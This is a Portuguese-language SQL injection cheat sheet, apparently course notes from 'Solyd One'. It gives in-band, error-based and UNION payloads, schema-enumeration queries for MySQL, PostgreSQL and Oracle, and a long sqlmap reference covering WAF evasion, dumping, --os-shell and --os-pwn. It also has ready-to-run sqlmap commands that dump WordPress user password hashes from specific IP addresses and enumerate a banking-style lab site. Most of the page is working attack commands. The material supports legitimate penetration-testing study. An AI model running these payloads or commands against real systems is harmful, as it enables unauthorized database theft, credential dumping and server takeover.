Sql Injection | Solyd One
- Sql Injection, Bypass | Solyd One
O sqlmap, possui a forma de inserir um web shell no servidor atráves das vulnerabilidades. Tem a opção de criar a própria webshell e passar no sql map
Bypass é o ato de contornar ou contornar medidas, controles ou protocolos de segurança implementados para obter acesso não autorizado ou atingir um objetivo. Isso geralmente é feito explorando vulnerabilidades, usando engenharia social, empregando ferramentas especializadas ou encontrando um caminho alternativo e menos seguro para um sistema de informação ou dados
Tipos de SQL Injection
In-band SQLi (SQLi Clássico) Nos ataques In-Band SQLi o ataque é feito diretamente pela aplicação web e a mesma serve como intermediária no ataque, tanto para a passagem de Querys quanto para o recebimento de informações do banco de dados. São os mais fáceis de serem explorados.
-
Error-based SQLi No ataque de Error-based, as informações coletadas do banco são informadas através de mensagens de erro propositalmente causadas para o vazamento de informações do banco.
-
Union-based SQLi Combina várias Querys de SELECT para resultar no vazamento de informações do banco.
Comandos
A partir do momento que encontrou o SQL Injection, os comandos abaixo serão de grande utilidade
Cheat Sheet de testadores booleanos
/cat.php?id=1' AND '1'='1
/cat.php?id=1' AND '1'='2
/*Validando a existência da tabela e se há dados*/
(SELECT 'a' FROM users LIMIT 1)='a
Inserção das aspas
TrackingId=xyz' AND '1'='2 # é IGUAL à
SELECT * FROM pedidos WHERE TrackingId = 'xyz' AND '1'='2';
Teste se contém SQL Injection
' OR 1=1-- # Insere no campo do formulário
/cat.php?id=1' # Na URL, apenas a ' já mostra se tem SQL Injection
Esse comando pode revelar qual banco é usado conforme exemplo de um teste feito no banco.cn. Baseado nisso, já podemos afirmar ao sql map que o banco é um MySQL

Cancelando o código da frente
' OR 1=1--
- Em uma select como essa
SELECT * FROM products WHERE category = 'Gifts' AND released = 1, e um URL como essa/filter?category=se passarmos o código acima conseguimos cancelar oreleased = 1 --→ cancela o código a frente
Descobrir quantas colunas
IMPORTANTE
order by 1--: a cada número inserido, se aparecer algo quer dizer que existe a coluna e com isso descobrimos quantas colunas existem na tabela
# Exemplo
/cat.php?id=1 order by <numero>--
/filter?category=Corporate+gifts' order by 3--
- Podemos usar essa seguinte combinação
# Aqui precisamos ir colocando NULL ou 'a' para descobrir as colunas
/filter?category=Corporate+gifts' UNION SELECT NULL, 'a'--
Unir selects
Precisar ter o mesmo número de colunas que o select anterior porque se não tiver irá dar erro
union select ..: une o select anterior ao novo que você deseja consultar
# Exemplo
/cat.php?id=1 union select 1,2,3
#Exemplo
filter?category=Gifts' UNION SELECT 'abc', banner FROM v$version--
Informações do banco
-1: cancelo o resultado da queryunion select 1,2,<parametro>: preciso adicionar o número correto de colunas da tabela e consigo também outras informações
# Exemplo
/cat.php?id=-1 union select 1,2, <parametros>
database(): nome do banco de dados@@version: versão do banco de dados
Informações de dentro da tabela
cat.php?id=-1 union select 1,2,group_concat(id,login,password) from <nome-banco>.<nome-tabela>
Case - Descobrir tabelas e colunas
-
Exemplo do postgres
-
Traz todas as tabelas que não estão nas tabelas padrão
union SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema NOT IN ('pg_catalog', 'information_schema')--
- Traz os nomes das colunas
union SELECT COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'sua_tabela'--
-
Exemplo no Oracle
-
Traz todas as tabelas
union SELECT owner, table_name FROM all_tables WHERE owner NOT IN( 'SYS', 'SYSTEM', 'OUTLN', 'XDB', 'ORDSYS', 'MDSYS', 'CTXSYS', 'DBSNMP', 'APPQOSSYS', 'WMSYS', 'EXFSYS', 'ORDDATA', 'ORDPLUGINS', 'SI_INFORMTN_SCHEMA')--
- Traz as colunas
SELECT COLUMN_NAME, DATA_TYPE FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
SQL Map
Os arquivos de logs ficam salvos em:
/home/kali/.local/share/sqlmap/output
sqlmap — sintaxe básica (modelo estilo socat)
sqlmap [opções] -u <URL alvo>
# ou
sqlmap [opções] --data="<dados POST>" --url="<URL>"
Sempre use os parâmetros de --random-agent para burlar o WAF, --threads, --level, --risk
Opções principais — alvo e requisição
-u <URL>,--url=<URL>→ URL alvo (GET).--data="<dados>"→ corpo POST (testa parâmetros POST).-p <param>→ força teste apenas no(s) parâmetro(s) especificado(s) (ex.:-p id,name).--param-exclude="<regex>"→ excluir parâmetros por regex.--cookie="<cookie>"→ enviar cookie.--headers="<Cabeçalhos>"→ cabeçalhos HTTP adicionais (entre aspas).--user-agent="<UA>"→ user-agent customizado.--random-agent→ usar User-Agent aleatório.--proxy=http://host:port→ usar proxy.--tor,--check-tor→ usar Tor (se instalado) / checar Tor.--timeout=<segundos>→ tempo limite de requisição.--retries=<n>→ número de tentativas.--dbms=<DBMS>→ força o SGBD alvo (evita detecção automática).--dbms=MySQL
--dbms=MariaDB
--dbms=Oracle
--dbms=PostgreSQL
--dbms="Microsoft SQL Server"
--dbms=MSSQL
--dbms=SQLite
--dbms="IBM DB2"
--dbms=Firebird
--dbms=Sybase
--dbms="SAP MaxDB"
--dbms=HSQLDB
--dbms=Informix
--dbms="Microsoft Access"
--dbms=CockroachDB
--dbms=TiDB
--dbms="Percona Server"
Detecção e técnicas
-
-p <param>→ especifica parâmetro a testar. -
--level=<1-5>→ profundidade dos testes (mais requisições conforme sobe). -
--risk=<1-3>→ risco de payloads (1 conservador → 3 agressivo). -
--threads=<n>→ paralelismo (padrão 1). -
--batch→ responder automaticamente (aceitar padrões) — modo não interativo. -
--technique=<T>→ técnicas a testar (combinação de letras:Bboolean-based,Eerror-based,UUNION,Sstacked,Ttime-based,Qinline query). Ex.:--technique=BEU.Técnica Código Descrição Melhor uso Boolean-based blind BTesta condições verdadeiras/falsas para extrair dados bit a bit Quando não há mensagens de erro visíveis Time-based blind TMede o tempo de resposta (com SLEEP()) para inferir dadosQuando a aplicação não retorna erros ou conteúdo diferente Error-based EUsa mensagens de erro SQL para extrair dados diretamente Quando o banco retorna erros detalhados Union query-based UInjeta uma instrução UNION SELECTpara combinar dadosQuando é possível retornar resultados na página Stacked queries SInjeta múltiplas instruções SQL separadas por ;Quando o banco permite múltiplas queries por requisição Inline queries QInjeta subconsultas SQL em linha Menos comum, depende da sintaxe aceita
Tempo / timing (nova seção)
-
--time-sec=<segundos>→ tempo de espera usado em ataques time-based. Define quantos segundos o sqlmap deve aguardar para considerar que uma payload time-based (ex.: SLEEP()) provocou a condição verdadeira. Ex.:--time-sec=5— considera que houve resposta positiva se o servidor demorar ~5s para responder. Útil para ajustar sensibilidade em conexões lentas. -
--delay=<segundos>→ intervalo entre cada requisição HTTP enviada pelo sqlmap. Reduz a taxa de requisições para não sobrecarregar o alvo ou evitar bloqueios/WAF/IPS. Ex.:--delay=2— espera 2 segundos entre requisições.
Enumeração (informações do SGBD)
Quando você sabe a informação de alguma das propriedades
-D <db>,--db=<db>→ selecionar banco de dados alvo (usado em--tables,--columns,--dump).-T <table>,--tables=<table>→ selecionar tabela alvo.-C "colunas_separadas_virgulas".
Para descobrir informações
--dbs→ listar bancos de dados.--tables -D <db>→ listar tabelas do banco<db>.--columns -D <db> -T <table>ou--columns -D <db> -T <table>→ listar colunas da tabela.--count→ contar resultados (usado junto a dumps).--schema→ obter schema/estrutura.--users,--passwords→ enumerar usuários e hashes (se aplicável).--current-user,--current-db,--hostname→ informações do servidor.--exclude-sysdbs→ ignorar bancos de sistema ao usar--dbs.
Extração / dump
--dump -D <db> -T <table>ou--dump -D <db> --tables -T <table>→ extrair dados (tabela específica).--dump-all→ extrair todas as tabelas (pode ser muito demorado).--start=<offset>,--stop=<offset>→ paginar/extrair partes.--where="<condição SQL>"→ filtrar linhas ao extrair.--skip=<n>→ pular primeirosnresultados na extração.
Acesso ao sistema operacional / takeover (opções perigosas)
Atenção: essas ações podem ser intrusivas e ilegais sem autorização.
--os-shell→ shell interativo no SO (quando possível).--os-pwn→ tenta ganhar controle do sistema (payloads de takeover).--os-smbrelay→ tentar relay SMB (avançado/dangerous).--file-read=/caminho/arquivo→ ler arquivo remoto.--file-write=/local:remoto→ enviar arquivo local para o servidor.--priv-esc→ tentar escalonamento de privilégios se aplicável.
Tamper / evasão e WAF
--tamper=<script1,script2,...>→ usar scripts tamper para ofuscar payloads (ex.:--tamper=space2comment,between).--identify-waf→ identificar WAF/IDS.--ignore-code=<códigos>→ ignorar códigos HTTP específicos.
Autenticação e sessões
--auth-type=<BASIC|NTLM|...>→ tipo de autenticação HTTP.--auth-cred="<usuário:senha>"→ credenciais HTTP.--auth-file=<arquivo>→ arquivo com credenciais.--proxy-cred="<usuário:senha>"→ credenciais para o proxy.--safe-url=<url>→ URL de teste "safe" para evitar logout/ações perigosas.--safe-post=<dados>→ corpo POST para--safe-url.--flush-session→ limpar sessão armazenada (força novos testes).--resume→ retomar sessão anterior (o sqlmap salva automaticamente com o nome do domínio).-s <path> --resume→ informa o diretorio a onde o arquivo está para ser carregado
Tuning / otimização
--union-cols=<n>→ força número de colunas na técnica UNION.--union-char=<char>→ caracter usado para injeção UNION (quando necessário).--skip=<n>→ pular primeirosnresultados na extração (repetido intencionalmente onde aplicável).--threads=<n>→ paralelismo (repetido: afeta velocidade).
Saída / logging
-o→ modo “optimize” (atalho, ativa várias opções padrão).--output-dir=<pasta>→ salvar resultados em pasta específica.--batch→ modo não interativo.--answers="<prompt1=resp1,prompt2=resp2>"→ respostas automáticas para prompts.--verbosity=<0-6>→ nível de verbosidade.
Scripts, utilitários e checagens
--wizard→ assistente interativo (ajuda iniciantes).--sql-shell→ console SQL interativo (quando possível).--check→ checar se o alvo parece vulnerável sem profundidade.--identify-waf→ identificar WAF/IDS (repetido por ênfase).
Inserindo query diretamente
-
--sql-query:sqlmap -u "http://44.200.108.38/wordpress/wp-admin/admin-ajax.php" --data="action=spAjaxResults&pollid=2" --sql-query="SELECT column_name FROM information_schema.columns WHERE table_schema='Rookie' AND table_name='wp_users'" -
--where:sqlmap -u "http://35.153.198.130/wordpress/wp-admin/admin-ajax.php" --data="action=spAjaxResults&pollid=2" --random-agent --time-sec=10 --threads=10 --dbms=mysql -D Rookie -T wp_users -C ID,user_url,user_pass,user_email,user_login,user_status,display_name,user_nicename,user_registered,user_activation_key --where="ID=(SELECT MAX(ID) FROM Rookie.wp_users)" --dump --batch--where="display_name='Estagiario'"
Snippet
## Descobrir números de colunas (ir colocando null até obtermos os valores)
+UNION+SELECT+NULL,NULL--
## Descobrir o tipo da coluna
## Você coloca o valor, ex: string na posição da coluna e vai testando campo por campo até dar certo
+UNION+SELECT+NULL,%27m8Jldd%27,NULL--
# Ataque ao banco.cn
sqlmap -u "http://www.bancocn.com/cat.php?id=1" -p id --dbms=mysql # -u = url, -p id = parâmetro é o id
sqlmap -u "http://www.bancocn.com/cat.php?id=1" -p id --dbms=mysql --batch --level=1 --risk=1 --dbs # batch = responde perguntas, --dbs = lista os bancos de dados
sqlmap -u "http://www.bancocn.com/cat.php?id=1" -p id -D NOME_DO_BANCO --tables
# ou
sqlmap -u "http://www.bancocn.com/cat.php?id=1" -p id -D information_schema --tables # Enumera as tabelas do banco information_schema